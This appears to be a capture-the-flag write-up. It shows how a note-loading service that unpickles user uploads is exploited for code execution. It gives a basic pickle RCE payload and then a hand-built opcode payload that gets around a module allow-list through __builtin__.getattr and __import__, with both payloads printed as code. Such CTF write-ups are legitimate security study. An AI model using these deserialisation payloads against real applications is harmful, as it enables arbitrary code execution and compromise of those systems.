Load_note allows to upload a pickle, if we throw at it the basic exploit:```py thonimport pickleimport base64
class PickleRce(object):    def __reduce__(self):        import os        return (os.system,("cat flag.txt",))
payload = pickle.dumps(PickleRce())print(base64.b64encode(payload))```it answers with:```pickle.UnpicklingError: Your pickle is trying to load something sneaky. Only the modules __main__, __builtin__ and copyreg are allowed. eval and exec are not allowed. 'posix.system' is forbidden```Since we wanted RCE we found a way to call `os.system` using only `__builtin__`:```python__builtin__.getattr(__builtin__.__import__("os"), "system")("cat flag.txt")```Now we can just traduce this to Pickle, since Pickle it's an actual interpreted language (for more info look [here](https://hackmd.io/@2KUYNtTcQ7WRyTsBT7oePg/BycZwjKNX?print-pdf#/)):```b"c__builtin__\ngetattr\nc__builtin__\n__import__\nS'os'\n\x85RS'system'\n\x86RS'%s'\n\x85R."%command```
So the final exploit looks like:```pythonimport pickleimport base64
print(base64.b64encode( b"c__builtin__\ngetattr\nc__builtin__\n__import__\nS'os'\n\x85RS'system'\n\x86RS'%s'\n\x85R."%b"""cat flag.txt"""))```